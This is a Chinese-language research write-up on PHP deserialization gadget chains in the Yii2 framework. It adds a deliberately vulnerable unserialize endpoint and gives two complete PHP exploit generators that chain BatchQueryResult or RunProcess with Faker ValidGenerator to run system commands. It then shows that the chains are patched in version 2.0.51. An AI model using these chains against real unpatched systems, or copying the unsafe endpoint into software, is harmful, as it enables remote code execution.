环境搭建
composer create-project yiisoft/yii2-app-basic yii2
安装后版本是2.0.51
phpstorm启动时Document root填web目录
在controllers/SiteController.php添加反序列化入口
public function actionUnserialize()
{
return unserialize(base64_decode(Yii::$app->request->get("data")));
}
通过index.php/?r=site/unserialize访问
分析
发现这里也有之前Larvel中的ValidGenerator来触发__call()方法执行命令。
找一个__destruct()
vendor/yiisoft/yii2/db/BatchQueryResult.php
/**
* Destructor.
*/
public function __destruct()
{
// make sure cursor is closed
$this->reset();
}
/**
* Resets the batch query.
* This method will clean up the existing batch query so that a new batch query can be performed.
*/
public function reset()
{
if ($this->_dataReader !== null) {
$this->_dataReader->close();
}
$this->_dataReader = null;
$this->_batch = null;
$this->_value = null;
$this->_key = null;
$this->trigger(self::EVENT_RESET);
}
exp
<?php
namespace yii\db{
use Faker\ValidGenerator;
class BatchQueryResult
{
private $_dataReader;
public function __construct($cmd)
{
$this->_dataReader = new ValidGenerator($cmd);
}
}
echo urlencode(serialize(new BatchQueryResult("whoami")));
}
namespace Faker{
class DefaultGenerator{
protected $default;
public function __construct($cmd)
{
$this->default = $cmd;
}
}
class ValidGenerator
{
protected $generator;
protected $validator;
protected $maxRetries;
public function __construct($cmd){
$this->generator=new DefaultGenerator($cmd);
$this->maxRetries=9;
$this->validator='system';
}
}
}
?>
但是别高兴太早😥
发现这里已经被修复了
/**
* Unserialization is disabled to prevent remote code execution in case application
* calls unserialize() on user input containing specially crafted string.
* @see https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15148
* @since 2.0.38
*/
public function __wakeup()
{
throw new \BadMethodCallException('Cannot unserialize ' . __CLASS__);
}
看看发现SmtpTransport也是使用wakeup修复了。好多地方都是😟
找找其他的__destruct()
vendor/codeception/codeception/ext/RunProcess.php
<?php
namespace Faker{
class DefaultGenerator{
protected $default;
public function __construct($cmd)
{
$this->default = $cmd;
}
}
class ValidGenerator
{
protected $generator;
protected $validator;
protected $maxRetries;
public function __construct($cmd){
$this->generator=new DefaultGenerator($cmd);
$this->maxRetries=9;
$this->validator='system';
}
}
}
namespace Codeception\Extension{
use Faker\ValidGenerator;
class RunProcess{
private $processes = [] ;
function __construct($cmd)
{
$this->processes[] = new ValidGenerator($cmd);
}
}
echo(base64_encode(serialize(new RunProcess('ls /'))));
}
这里也是被修复了
/**
* Disable the deserialization of the class to prevent attacker executing
* code by leveraging the __destruct method.
*
* @see https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection
*/
public function __wakeup()
{
throw new \BadMethodCallException('Cannot unserialize ' . __CLASS__);
}
入口点基本全被过滤了🤷♂
看看其他入口__wakeup类型,有一个利用UnicodeString::__wakeup作为入口的链
发现这里也是被过滤了
public function __wakeup()
{
if (!\is_string($this->string)) {
throw new \BadMethodCallException('Cannot unserialize '.__CLASS__);
}
normalizer_is_normalized($this->string) ?: $this->string = normalizer_normalize($this->string);
}
太狠了,Yii2修链修这么多,感觉已经无敌了现在,等以后看引入新的依赖吧😭
参考文章
https://xz.aliyun.com/t/9420